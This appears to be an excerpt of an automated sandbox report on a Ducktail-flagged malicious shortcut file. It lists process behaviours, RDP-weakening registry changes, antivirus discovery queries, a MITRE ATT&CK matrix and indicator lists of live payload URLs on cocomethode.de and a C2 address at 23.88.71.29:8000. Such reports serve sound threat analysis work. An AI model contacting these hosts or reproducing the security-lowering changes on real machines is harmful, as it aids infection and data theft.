Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation

Source: C:\Windows\Temp\svczHost.exe

Code function: 22_2_00007FF7B118BFE0 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

22_2_00007FF7B118BFE0

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Modifies security policies related information

Source: C:\Windows\Temp\myRdpService.exe

Registry key created or modified: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Lsa DisableRestrictedAdmin

Source: powershell.exe, 00000004.00000002.3887214175.0000025156418000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.3895362125.00000259578BD000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.3892863880.0000025156723000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.4611068012.0000029333027000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe
Source: powershell.exe, 00000004.00000002.3890066229.00000251566EB000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.4611068012.000002933306D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : SELECT * FROM AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : SELECT * FROM AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - Root\SecurityCenter2 : select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - Root\SecurityCenter2 : select * from AntivirusProduct

Stealing of Sensitive Information

Yara detected Ducktail

Source: Yara match	File source: Process Memory Space: svczHost.exe PID: 3548, type: MEMORYSTR
Source: Yara match	File source: amsi64_8856.amsi.csv, type: OTHER
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 4588, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 8856, type: MEMORYSTR

Remote Access Functionality

Yara detected Ducktail

Source: Yara match	File source: Process Memory Space: svczHost.exe PID: 3548, type: MEMORYSTR
Source: Yara match	File source: amsi64_8856.amsi.csv, type: OTHER
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 4588, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 8856, type: MEMORYSTR

Allows multiple concurrent remote connection

Source: C:\Windows\Temp\myRdpService.exe

Registry key created or modified: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Terminal Server fSingleSessionPerUser

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	431 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	OS Credential Dumping	1 System Time Discovery	1 Remote Desktop Protocol	1 Archive Collected Data	1 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	11 Windows Service	11 Windows Service	1 Deobfuscate/Decode Files or Information	LSASS Memory	1 File and Directory Discovery	Remote Desktop Protocol	Data from Removable Media	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Service Execution	Logon Script (Windows)	11 Process Injection	1 Obfuscated Files or Information	Security Account Manager	126 System Information Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	11 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	5 PowerShell	Login Hook	Login Hook	1 Software Packing	NTDS	441 Security Software Discovery	Distributed Component Object Model	Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	11 Process Discovery	SSH	Keylogging	14 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 File Deletion	Cached Domain Credentials	351 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	13 Masquerading	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 Modify Registry	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	351 Virtualization/Sandbox Evasion	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	11 Process Injection	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
WXahq3ZEss.lnk	35%	Virustotal		Browse
WXahq3ZEss.lnk	34%	ReversingLabs	Shortcut.Trojan.Pantera
WXahq3ZEss.lnk	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
https://cocomethode.de/OKNf	100%	Avira URL Cloud	malware
https://cocomethode.de/609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596bae128a3f65230e	100%	Avira URL Cloud	malware
http://www.microsoft.co	0%	Avira URL Cloud	safe
http://23.88.71.29:8000/api/registry/upload/6cce7182d50ed3d7e611466cceafa5e2	0%	Avira URL Cloud	safe
https://cocomethode.de/609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596baed51283ed5b95	100%	Avira URL Cloud	malware
http://cocomethode.de	100%	Avira URL Cloud	malware
https://cocomethode.de/file2/30bb492ec87899a2b4a8fa5c9eeec469c195e0b8ed0d1a330469aa0c9479e74ac1d07aa	100%	Avira URL Cloud	malware
https://cocomethode.de/file2/2f50eec7b7fe989c3602e42fe12e09ebb032005a9f9172a762eaeaff41257fe78168796	100%	Avira URL Cloud	malware
https://login.livx	0%	Avira URL Cloud	safe
https://login.lieF-16p	0%	Avira URL Cloud	safe
https://cocomethode.de/StaticFile/TermServiceTryRun/84	100%	Avira URL Cloud	malware
http://pesterbdd.com/images/Pester.png	0%	Avira URL Cloud	safe
https://cocomethode.de/file2/2f50eec7b7fe989c3602e42fe12e09ebb032005a9f9172a762eaeaff41257fe78168796832c4fd288b62c8ec411566a8647c0dcf0e876594e63eefc32abbe62cf7e16991160bf42ec5699a35966baaa81d918ee8e0cfd67495b55d4aa2a39a45e1d3f3bae765c97e7ceb82114cdc97d1	100%	Avira URL Cloud	malware
http://schemas.microsoft.co	0%	Avira URL Cloud	safe
https://cocomethode.de/file3/b83fe30fc85331b12cce94a54c8621c65eea6b03791942cceb80937bd723c6b18fd123c1f55782c1aa93f7ccdfccb20f78866afc8074889dd125916882b0ad29e2f1b013f9f235865a5d8e4be95dccfbcf72fc95b375ca83c0d95f43fa19f849/Windows%20Defender/16/16/user/207	100%	Avira URL Cloud	malware
http://crl.ver)	0%	Avira URL Cloud	safe
https://go.micro	0%	Avira URL Cloud	safe
https://cocomethode.de/file2/442d6d2bbbf95a0c2d98335c7cf12d9d4a2163bfd33f42547d8e2176349fc5bec999df77ed6fc10cd2b8f1bf6e1419afd1b8e652d60820a56f5d872b9832d58cfe65348bdb616db23e43f7972daf391f13bd6a69c891902807aad423627811c8e0d4aa7ee939d745201eed806ee979fa	100%	Avira URL Cloud	malware
https://cocomethode.de/file2/7fd1a89d0020dcffe37c334092d29597499af8b82a4f37fb75f7f3a0a1257f1e979bdbe	100%	Avira URL Cloud	malware
https://cocomethode.de/StaticFile/RdpService/46	100%	Avira URL Cloud	malware
https://login.(	0%	Avira URL Cloud	safe
https://cocomethode.de/609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596baed51283ed5b95f84aa14c94ff343224b	100%	Avira URL Cloud	malware
https://cocomethode.de/file2/d51c3dcb853d6c497196480b03dbc640248fcef44df66b5a162e2d46de68ca13d57f766867e1712c1111f93d41207e9a66b4c79a2a22a8f3f977554b38c2c12b8d6d0f874d5d28de666900008551a5a74884807c221f677dd119de8925270a5159b4d5954723b3d86ef67de15dc0d9b5	100%	Avira URL Cloud	malware
http://crl.micro	0%	Avira URL Cloud	safe
https://cocomethode.de	100%	Avira URL Cloud	malware
https://cocomethode.de/609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596ba43c8e1d00e502	100%	Avira URL Cloud	malware
http://schemas.openxml	0%	Avira URL Cloud	safe
http://pesterbdd.com/images/Pester.pngXz	0%	Avira URL Cloud	safe
http://cocomethode.de/api/check	100%	Avira URL Cloud	malware
http://html4/loose.dtd	0%	Avira URL Cloud	safe
https://cocomethode.de/file2/961e923217e6366fedc4ef058b135504177a85e5d4a3d3fefcd20dd6a4bae06bcd34fb5dbb1a738ebd5d59c383ddda7ae733b974b62b8e600a867205fe86acb615bbb394f676a9487f0a6d13dbf465585b805cd5c966e21c3b43adfc54fca65e29f108cd32057c0ab0de90b77ba7bdfc	100%	Avira URL Cloud	malware
https://cocomethode.de/file2/442d6d2bbbf95a0c2d98335c7cf12d9d4a2163bfd33f42547d8e2176349fc5bec999df7	100%	Avira URL Cloud	malware
https://login.live.	100%	Avira URL Cloud	malware
http://.jpg	0%	Avira URL Cloud	safe
http://.css	0%	Avira URL Cloud	safe
https://cocomethode.de/file2/d51c3dcb853d6c497196480b03dbc640248fcef44df66b5a162e2d46de68ca13d57f766	100%	Avira URL Cloud	malware
https://cocomethode.de/609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596bae128a3f65230e6a08fc1c8a0132f7fe9	100%	Avira URL Cloud	malware
https://cocomethode.de/file2/30bb492ec87899a2b4a8fa5c9eeec469c195e0b8ed0d1a330469aa0c9479e74ac1d07aa2b8fd57cf5f0bd3f24c68ed185d64a9ac7de4983fe5e3122fca7943699695f922096bc194352a7f8167d0f40a86605fb5fcbc94e2f07cb01d75a37ad6	100%	Avira URL Cloud	malware
http://23.88.71.29:8000/api/registry	0%	Avira URL Cloud	safe
https://login.live./deviceaddcr.srf	100%	Avira URL Cloud	malware
https://cocomethode.de/609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596ba65e9b16659fd9	100%	Avira URL Cloud	malware
https://cocomethode.de/609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596ba65e9b16659fd9137f27af5d301268105	100%	Avira URL Cloud	malware
http://pesterbdd.com/images/Pester.pngh	0%	Avira URL Cloud	safe
http://www.microsoft.	0%	Avira URL Cloud	safe
http://23.88.71.29:8000/client/ws	0%	Avira URL Cloud	safe
https://cocomethode.de/609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596ba43c8e1d00e5022a88bcc6d6d3c9d79b3	100%	Avira URL Cloud	malware
https://cocomethode.de/file2/961e923217e6366fedc4ef058b135504177a85e5d4a3d3fefcd20dd6a4bae06bcd34fb5	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
cocomethode.de	172.67.128.139	true	true		unknown
raw.githubusercontent.com	185.199.108.133	true	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://cocomethode.de/OKNf	false	Avira URL Cloud: malware	unknown
http://23.88.71.29:8000/api/registry/upload/6cce7182d50ed3d7e611466cceafa5e2	false	Avira URL Cloud: safe	unknown
https://cocomethode.de/file3/b83fe30fc85331b12cce94a54c8621c65eea6b03791942cceb80937bd723c6b18fd123c1f55782c1aa93f7ccdfccb20f78866afc8074889dd125916882b0ad29e2f1b013f9f235865a5d8e4be95dccfbcf72fc95b375ca83c0d95f43fa19f849/Windows%20Defender/16/16/user/207	false	Avira URL Cloud: malware	unknown
https://cocomethode.de/StaticFile/RdpService/46	false	Avira URL Cloud: malware	unknown
https://cocomethode.de/StaticFile/TermServiceTryRun/84	false	Avira URL Cloud: malware	unknown
https://cocomethode.de/file2/442d6d2bbbf95a0c2d98335c7cf12d9d4a2163bfd33f42547d8e2176349fc5bec999df77ed6fc10cd2b8f1bf6e1419afd1b8e652d60820a56f5d872b9832d58cfe65348bdb616db23e43f7972daf391f13bd6a69c891902807aad423627811c8e0d4aa7ee939d745201eed806ee979fa	false	Avira URL Cloud: malware	unknown
https://cocomethode.de/file2/2f50eec7b7fe989c3602e42fe12e09ebb032005a9f9172a762eaeaff41257fe78168796832c4fd288b62c8ec411566a8647c0dcf0e876594e63eefc32abbe62cf7e16991160bf42ec5699a35966baaa81d918ee8e0cfd67495b55d4aa2a39a45e1d3f3bae765c97e7ceb82114cdc97d1	false	Avira URL Cloud: malware	unknown
https://cocomethode.de/609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596baed51283ed5b95f84aa14c94ff343224b	false	Avira URL Cloud: malware	unknown
http://cocomethode.de/api/check	false	Avira URL Cloud: malware	unknown
https://cocomethode.de/file2/d51c3dcb853d6c497196480b03dbc640248fcef44df66b5a162e2d46de68ca13d57f766867e1712c1111f93d41207e9a66b4c79a2a22a8f3f977554b38c2c12b8d6d0f874d5d28de666900008551a5a74884807c221f677dd119de8925270a5159b4d5954723b3d86ef67de15dc0d9b5	false	Avira URL Cloud: malware	unknown
https://cocomethode.de/file2/30bb492ec87899a2b4a8fa5c9eeec469c195e0b8ed0d1a330469aa0c9479e74ac1d07aa2b8fd57cf5f0bd3f24c68ed185d64a9ac7de4983fe5e3122fca7943699695f922096bc194352a7f8167d0f40a86605fb5fcbc94e2f07cb01d75a37ad6	false	Avira URL Cloud: malware	unknown
https://cocomethode.de/file2/961e923217e6366fedc4ef058b135504177a85e5d4a3d3fefcd20dd6a4bae06bcd34fb5dbb1a738ebd5d59c383ddda7ae733b974b62b8e600a867205fe86acb615bbb394f676a9487f0a6d13dbf465585b805cd5c966e21c3b43adfc54fca65e29f108cd32057c0ab0de90b77ba7bdfc	false	Avira URL Cloud: malware	unknown
https://cocomethode.de/609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596bae128a3f65230e6a08fc1c8a0132f7fe9	false	Avira URL Cloud: malware	unknown
http://23.88.71.29:8000/api/registry	false	Avira URL Cloud: safe	unknown
https://cocomethode.de/609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596ba65e9b16659fd9137f27af5d301268105	false	Avira URL Cloud: malware	unknown
http://23.88.71.29:8000/client/ws	false	Avira URL Cloud: safe	unknown
https://cocomethode.de/609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596ba43c8e1d00e5022a88bcc6d6d3c9d79b3	false	Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://login.lieF-16p	svchost.exe, 00000014.00000002.4924481194.00000218EFF37000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://cocomethode.de/609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596baed51283ed5b95	powershell.exe, 0000000D.00000002.4081585775.000002931AF2E000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://www.microsoft.co	powershell.exe, 0000000D.00000002.4607773821.0000029332F3E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://cocomethode.de/file2/2f50eec7b7fe989c3602e42fe12e09ebb032005a9f9172a762eaeaff41257fe78168796	powershell.exe, 00000004.00000002.3838510070.000002513E765000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://account.live.com/Wizard/Password/Change?id=80601R	svchost.exe, 00000014.00000002.4922050387.00000218EF640000.00000004.00000020.00020000.00000000.sdmp	false		high
http://cocomethode.de	powershell.exe, 00000008.00000002.3736924870.0000012F38CEC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.4081585775.000002931C2A9000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://cocomethode.de/609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596bae128a3f65230e	powershell.exe, 00000004.00000002.3838510070.000002513F236000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://Passport.NET/tbpose	svchost.exe, 00000014.00000002.4926742716.00000218F0497000.00000004.00000020.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/denyonlysidY	powershell.exe, 0000000D.00000002.4510984351.000002932B596000.00000004.00000800.00020000.00000000.sdmp, svczHost.exe, 00000016.00000002.4924718237.0000013851746000.00000004.00001000.00020000.00000000.sdmp, svczHost.exe, 00000016.00000002.4934498450.00007FF7B17DB000.00000002.00000001.01000000.00000009.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/Issue	svchost.exe, 00000014.00000002.4924774143.00000218EFF6B000.00000004.00000020.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/denyonlysid	svczHost.exe, myRdpService.exe	false		high
https://aka.ms/winsvr-2022-pshelpXz	powershell.exe, 00000008.00000002.3736924870.0000012F382B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.4081585775.000002931B7DE000.00000004.00000800.00020000.00000000.sdmp	false		high
https://aka.ms/nativeaot-compatibility	myRdpService.exe	false		high
https://nuget.org/nuget.exe	powershell.exe, 00000003.00000002.3626939456.0000020AC43CB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.3626939456.0000020AC4294000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.3609302778.0000020AB56FC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.3879387426.000002514E3E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.3782474079.0000012F480C9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.3736924870.0000012F3969C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.4510984351.000002932AB9A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cocomethode.de/file2/30bb492ec87899a2b4a8fa5c9eeec469c195e0b8ed0d1a330469aa0c9479e74ac1d07aa	powershell.exe, 0000000D.00000002.4081585775.000002931AF2E000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://login.livx	svchost.exe, 00000014.00000002.4923374632.00000218EF702000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsds	svchost.exe, 00000014.00000002.4924481194.00000218EFF37000.00000004.00000020.00020000.00000000.sdmp	false		high
https://account.live.com/InlineSignup.aspx?iww=1&id=80502	svchost.exe, 00000014.00000003.3791156023.00000218EFF3B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.3791284890.00000218EFF40000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.3813396642.00000218EFF50000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000002.4922050387.00000218EF640000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000002.4924615455.00000218EFF51000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000002.4924481194.00000218EFF37000.00000004.00000020.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000003.00000002.3609302778.0000020AB4211000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.3838510070.000002513E371000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.3736924870.0000012F38051000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.4081585775.000002931AB21000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.4510984351.000002932B596000.00000004.00000800.00020000.00000000.sdmp, svczHost.exe, svczHost.exe, 00000016.00000002.4924718237.0000013851746000.00000004.00001000.00020000.00000000.sdmp, svczHost.exe, 00000016.00000002.4934498450.00007FF7B17DB000.00000002.00000001.01000000.00000009.sdmp, myRdpService.exe	false		high
http://schemas.microsoft.co	powershell.exe, 00000008.00000002.3789805068.0000012F50099000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://aka.ms/winsvr-2022-pshelp	powershell.exe, 00000008.00000002.3792164808.0000012F50170000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.3736924870.0000012F382B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.4081585775.000002931B7DE000.00000004.00000800.00020000.00000000.sdmp	false		high
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000008.00000002.3736924870.0000012F39523000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.4081585775.000002931AD4E000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/soap/encoding/	powershell.exe, 00000008.00000002.3736924870.0000012F382B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.4081585775.000002931B0A1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000008.00000002.3736924870.0000012F39523000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.4081585775.000002931AD4E000.00000004.00000800.00020000.00000000.sdmp	false		high
https://go.micro	powershell.exe, 00000008.00000002.3736924870.0000012F38E9C000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/MartinKuschnik/WmiLight	svczHost.exe, 00000016.00000002.4924718237.0000013850E48000.00000004.00001000.00020000.00000000.sdmp	false		high
https://aka.ms/nativeaot-compatibilityy	powershell.exe, 0000000D.00000002.4510984351.000002932B596000.00000004.00000800.00020000.00000000.sdmp, svczHost.exe, 00000016.00000002.4924718237.0000013851746000.00000004.00001000.00020000.00000000.sdmp, svczHost.exe, 00000016.00000002.4934498450.00007FF7B17DB000.00000002.00000001.01000000.00000009.sdmp	false		high
https://account.live.com/msangcwam	svchost.exe, 00000014.00000002.4922050387.00000218EF640000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.3791218809.00000218EFF2C000.00000004.00000020.00020000.00000000.sdmp	false		high
